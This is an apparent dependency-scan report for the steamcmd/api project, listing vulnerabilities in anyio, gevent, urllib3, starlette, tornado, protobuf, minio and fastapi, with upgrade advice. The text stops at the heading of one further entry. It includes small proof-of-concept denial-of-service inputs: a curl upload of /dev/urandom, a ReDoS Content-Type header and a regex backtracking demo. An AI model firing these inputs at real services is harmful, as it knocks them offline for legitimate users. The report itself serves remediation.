Vulnerabilities

61 via 138 paths

Dependencies

57

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 61
  • 1
Severity
  • 2
  • 26
  • 31
  • 3
Status
  • 62
  • 0
  • 0

critical severity

Improper Validation of Certificate with Host Mismatch

  • Vulnerable module: anyio
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.
  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.

Overview

anyio is a High level compatibility layer for multiple asynchronous event loop implementations

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch via TLSStream.wrap() in src/anyio/streams/tls.py, which resolves international domain names using IDNA 2003 instead of IDNA 2008 when constructing the server_hostname passed to wrap_bio(). Because IDNA 2003 and IDNA 2008 can map the same Unicode label to different ASCII representations, a TLS connection to an internationalized domain name may be established against a certificate whose Subject Alternative Name was encoded under IDNA 2008, causing the hostname verification to succeed against a certificate that does not legitimately cover the intended host. An attacker positioned to present such a certificate can perform a MitM attack against clients connecting to internationalized hostnames.

Remediation

Upgrade anyio to version 4.14.2 or higher.

References

critical severity

Trusting HTTP Permission Methods on the Server Side

  • Vulnerable module: gevent
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2
    Remediation: Upgrade to gevent@23.9.0.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2

Overview

Affected versions of this package are vulnerable to Trusting HTTP Permission Methods on the Server Side when the gevent.pywsgi function is used. An attacker can craft invalid trailers in chunked requests on keep-alive connections that might appear as two requests to gevent.pywsgi. This could potentially bypass checks if an upstream server is filtering incoming requests based on paths or header fields and simply passing trailers through without validating them. An attacker could escalate privileges on the system via a crafted script to the WSGIServer component.

Note:

If the upstream server validated that the trailers meet the HTTP specification, this could not occur, because characters that are required in an HTTP request, like a space, are not allowed in trailers.

Remediation

Upgrade gevent to version 23.9.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via HTTPResponse._update_chunk_length() in response.py, where the chunk-size line in a chunked transfer-encoded response is read with an unbounded readline() call. A malicious server can send a Transfer-Encoding: chunked response followed by an unterminated chunk-size line of arbitrary length, forcing the client to buffer the entire run in memory before the read can be rejected, causing memory exhaustion.

Note: This is only exploitable when the client connects to a malicious or compromised server, and applies only to the chunk-size line read, not to chunk body data.

Remediation

Upgrade urllib3 to version 2.8.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) in the StaticFiles file on Windows systems when handling UNC paths. An attacker can obtain NTLMv2 credentials of the service account by sending a specially crafted request that causes the server to initiate an outbound SMB connection to an attacker-controlled host, resulting in credential disclosure.

Note: This is only exploitable if the application is running on Windows and serving static files using the default configuration (follow_symlink=False).

Workaround

This vulnerability can be mitigated by serving static files through a dedicated web server (such as nginx or IIS) or by blocking outbound SMB (port 445) from the application host.

Remediation

Upgrade starlette to version 1.1.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › protobuf@3.20.3
    Remediation: Upgrade to steam@1.4.4.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the request.form. An attacker can exhaust system resources and disrupt service availability by submitting a specially crafted application/x-www-form-urlencoded request containing either an excessive number of fields or a very large field value, leading to event loop blocking or unbounded memory allocation.

Remediation

Upgrade starlette to version 1.3.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via multipart/form-data requests, due to treating parts without a filename as text form fields and buffering those in byte strings with no size limit.

An attacker could cause Starlette to both slow down significantly due to excessive memory allocations and copy operations, and also consume more and more memory until the server starts swapping and grinds to a halt by uploading arbitrary large form fields.

Note:

This vulnerability affects all applications built with Starlette (or FastAPI) accepting form requests.

PoC

from starlette.applications import Starlette
from starlette.routing import Route

async def poc(request):
    async with request.form():
        pass

app = Starlette(routes=[
    Route('/', poc, methods=["POST"]),
])
curl http://localhost:8000 -F 'big=</dev/urandom'

Remediation

Upgrade starlette to version 0.40.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the FileResponse._parse_range_header method. An attacker can exhaust server CPU resources by sending a specially crafted HTTP Range header containing numerous small, non-overlapping ranges, which triggers quadratic-time processing during range parsing and merging.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade starlette to version 0.49.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the multipart/form-data parser. An attacker can generate an extremely high volume of logs, leading to a denial of service by sending malformed multipart form data that triggers continuous error logging.

Note:

This is only exploitable if the logging subsystem is synchronous.

Workaround

This vulnerability can be mitigated by blocking Content-Type: multipart/form-data in a proxy.

Remediation

Upgrade tornado to version 6.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the parsing of multipart/form-data bodies containing an excessive number of parts.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade tornado to version 6.5.5 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through parse_body_arguments in tornado/httputil.py and parse_qs_bytes in tornado/escape.py. An attacker can stall the event loop and block the server by sending an application/x-www-form-urlencoded request body containing a huge number of separators and arguments. The body is parsed synchronously before the handler runs, so one oversized form request can consume excessive CPU and prevent the server from serving other connections.

Remediation

Upgrade tornado to version 6.5.8 or higher.

References

high severity

Excessive Iteration

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Excessive Iteration in the _parseparam() function. An attacker can cause the server to become unresponsive and consume excessive CPU resources by sending requests with a large number of maliciously crafted parameters in the Content-Disposition header.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via curl_httpclient.py in CurlAsyncHTTPClient, which passes every chunk libcurl produces to IOLoop.add_callback without bounding the amount of buffered data. When decompress_response is enabled, an attacker-controlled server can send a decompression bomb - a small compressed payload that expands to gigabytes - causing all decompressed chunks to accumulate in the IOLoop's callback queue and exhausting process memory. Additionally, without a streaming_callback, curl_httpclient had no max_body_size limit, allowing a server to buffer arbitrarily large response bodies.

Remediation

Upgrade tornado to version 6.5.9 or higher.

References

high severity

Inefficient Algorithmic Complexity

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the HTTPHeaders.add method. An attacker can cause the server's event loop to become unresponsive for an extended period by sending a single maliciously crafted HTTP request with repeated header names, leading to excessive string concatenation and high CPU usage.

Note:

This is only exploitable if the max_header_size configuration has been increased from its default value.

Remediation

Upgrade tornado to version 6.5.3 or higher.

References

high severity

Race Condition

  • Vulnerable module: anyio
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.
  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0 › anyio@3.7.1
    Remediation: Upgrade to fastapi@0.103.2.

Overview

anyio is a High level compatibility layer for multiple asynchronous event loop implementations

Affected versions of this package are vulnerable to Race Condition in _eventloop.get_asynclib() that cause crashes when multiple event loops of the same backend are running in separate threads and simultaneously attempting to use AnyIO for the first time.

Remediation

Upgrade anyio to version 4.4.0 or higher.

References

high severity

Race Condition

  • Vulnerable module: gevent
  • Introduced through: gevent@22.10.2 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › gevent@22.10.2
    Remediation: Upgrade to gevent@24.10.1.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent@22.10.2
    Remediation: Upgrade to steam@1.4.4.
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › gevent-eventemitter@2.1 › gevent@22.10.2

Overview

Affected versions of this package are vulnerable to Race Condition when the fallback socketpair implementation is used on platforms that lack native support and the vulnerable function does not properly authenticate the connected sockets. An attacker must be able to predict the address and port and establish a connection before the legitimate client.

Remediation

Upgrade gevent to version 24.10.1 or higher.

References

high severity

Race Condition

  • Vulnerable module: minio
  • Introduced through: minio@7.2.7

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7
    Remediation: Upgrade to minio@7.2.11.

Overview

minio is a MinIO Python SDK for Amazon S3 Compatible Cloud Storage

Affected versions of this package are vulnerable to Race Condition due to improper handling of shared resources in worker threads via the helpers.py function. An attacker can exploit this by initiating multiple asynchronous tasks that concurrently access and modify the shared state.

PoC

from threading import BoundedSemaphore, Thread
from queue import Queue
import time

class Worker(Thread):
    def __init__(self, tasks_queue, results_queue, exceptions_queue):
        Thread.__init__(self)
        self.tasks_queue = tasks_queue
        self.results_queue = results_queue
        self.exceptions_queue = exceptions_queue
        self.daemon = True
        self.start()

    def run(self):
        while True:
            task = self.tasks_queue.get()
            if not task:
                self.tasks_queue.task_done()
                break
            
            if self.exceptions_queue.empty():
                func, args, kargs, cleanup_func = task
                try:
                    result = func(*args, **kargs)
                    self.results_queue.put(result)
                except Exception as ex:
                    print(f"exception occurred: {ex}")
                    self.exceptions_queue.put(ex)
                finally:
                    cleanup_func()
            else:
                print("Skipping task due to previous exception")
            self.tasks_queue.task_done()

class ThreadPool:
    def __init__(self, num_threads):
        self.results_queue = Queue()
        self.exceptions_queue = Queue()
        self.tasks_queue = Queue()
        self.sem = BoundedSemaphore(num_threads)
        self.num_threads = num_threads

    def add_task(self, func, *args, **kargs):
        print(f"Trying to acquire semaphore at {time.strftime('%H:%M:%S')}")
        self.sem.acquire()
        print(f"Semaphore acquired at {time.strftime('%H:%M:%S')}")
        cleanup_func = self.sem.release
        self.tasks_queue.put((func, args, kargs, cleanup_func))

    def start_parallel(self):
        for _ in range(self.num_threads):
            Worker(self.tasks_queue, self.results_queue, self.exceptions_queue)

    def result(self):
        for _ in range(self.num_threads):
            self.tasks_queue.put(None)
        self.tasks_queue.join()
        if not self.exceptions_queue.empty():
            raise self.exceptions_queue.get()
        return self.results_queue

def task_with_exception():
    raise ValueError("Task failed!")

def normal_task():
    time.sleep(1)
    return "Task completed"

if __name__ == "__main__":
    pool = ThreadPool(num_threads=1) 
    pool.start_parallel()

    for i in range(3):
        if i == 0:
            print(f"\nAdding task {i} (will raise exception)...")
            pool.add_task(task_with_exception)
        else:
            print(f"\nAdding task {i} (normal task)...")
            pool.add_task(normal_task)
        time.sleep(0.1) 
    
    try:
        results = pool.result()
        while not results.empty():
            print(results.get())
    except Exception as e:
        print(f"Final exception: {e}")

Remediation

Upgrade minio to version 7.2.11 or higher.

References

high severity

Use of Incorrectly-Resolved Name or Reference

  • Vulnerable module: starlette
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2 › starlette@0.27.0
    Remediation: Upgrade to fastapi@0.103.2.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Use of Incorrectly-Resolved Name or Reference in the reconstruction of request.url when the HTTP request path does not begin with /. An attacker can mislead the application into trusting an attacker-controlled hostname by sending a specially crafted request path that manipulates the authority component of the URL.

Note: This is only exploitable if the ASGI server forwards a request-target lacking a leading / into scope["path"], and the application uses request.url, request.url.netloc, or request.url.hostname for security-sensitive decisions before routing or in 404/exception handlers.

Remediation

Upgrade starlette to version 1.3.0 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: protobuf
  • Introduced through: steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › protobuf@3.20.3
    Remediation: Upgrade to steam@1.4.4.

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion in the ParseDict() function, when handling deeply nested google.protobuf.Any messages. An attacker can bypass max_recursion_depth to exhaust the recursion stack and trigger a RecursionError.

Remediation

Upgrade protobuf to version 5.29.6, 6.33.5 or higher.

References

high severity
new

Symlink Attack

  • Vulnerable module: tornado
  • Introduced through: flower@2.0.1

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › flower@2.0.1 › tornado@6.2
    Remediation: Upgrade to flower@2.1.0.

Overview

tornado is a Python web framework and asynchronous networking library, originally developed at FriendFeed.

Affected versions of this package are vulnerable to Symlink Attack via StaticFileHandler.validate_absolute_path in tornado/web.py, which uses os.path.abspath to validate that a requested path remains within the configured static root directory but does not resolve symlinks. An attacker can place or exploit a symlink inside the static directory that points to an arbitrary location on the filesystem, causing StaticFileHandler to serve files outside the intended root - both symlinked files and symlinked directories are affected. The fix introduces a secondary check using os.path.realpath against a configurable allowed_symlink_directory boundary.

Note: This is only exploitable when a symlink exists inside the configured static directory pointing to a location outside it.

Remediation

Upgrade tornado to version 6.5.9 or higher.

References

high severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.

Remediation

Upgrade urllib3 to version 2.7.0 or higher.

References

high severity

Improper Certificate Validation

  • Vulnerable module: urllib3
  • Introduced through: minio@7.2.7 and steam@1.4.4

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › minio@7.2.7 › urllib3@2.0.7
  • Introduced through: steamcmd/api@steamcmd/api › steam@1.4.4 › requests@2.31.0 › urllib3@2.0.7
    Remediation: Upgrade to steam@1.4.4.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Certificate Validation in the connect method of src/urllib3/connection.py when an HTTPS proxy is configured with proxy_ssl_context while the target server uses a different certificate-verification policy. Due to the proxy's TLS settings not being isolated from the target's TLS settings, the proxy's ssl_context is incorrectly applied to the target connection (or vice versa), allowing an attacker to bypass certificate validation for either the proxy or the target server and perform a MitM attack.

Note: This is only exploitable when an HTTPS proxy is configured with proxy_ssl_context and the target server uses a different certificate-verification policy.

Remediation

Upgrade urllib3 to version 2.8.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: fastapi
  • Introduced through: fastapi@0.103.2

Detailed paths

  • Introduced through: steamcmd/api@steamcmd/api › fastapi@0.103.2
    Remediation: Upgrade to fastapi@0.109.1.

Overview

fastapi is a web framework for building APIs with Python 3.6+ based on standard Python type hints.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the parsing of the HTTP Content-Type header when reading form data with python-multipart. An attacker can cause a denial of service by sending a specially crafted Content-Type header that leads to excessive CPU consumption and indefinite stalling of the main event loop, preventing the processing of further requests.

PoC

Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade fastapi to version 0.109.1 or higher.

References

high severity

Improper Control of Generation of Code ('Code Injection')

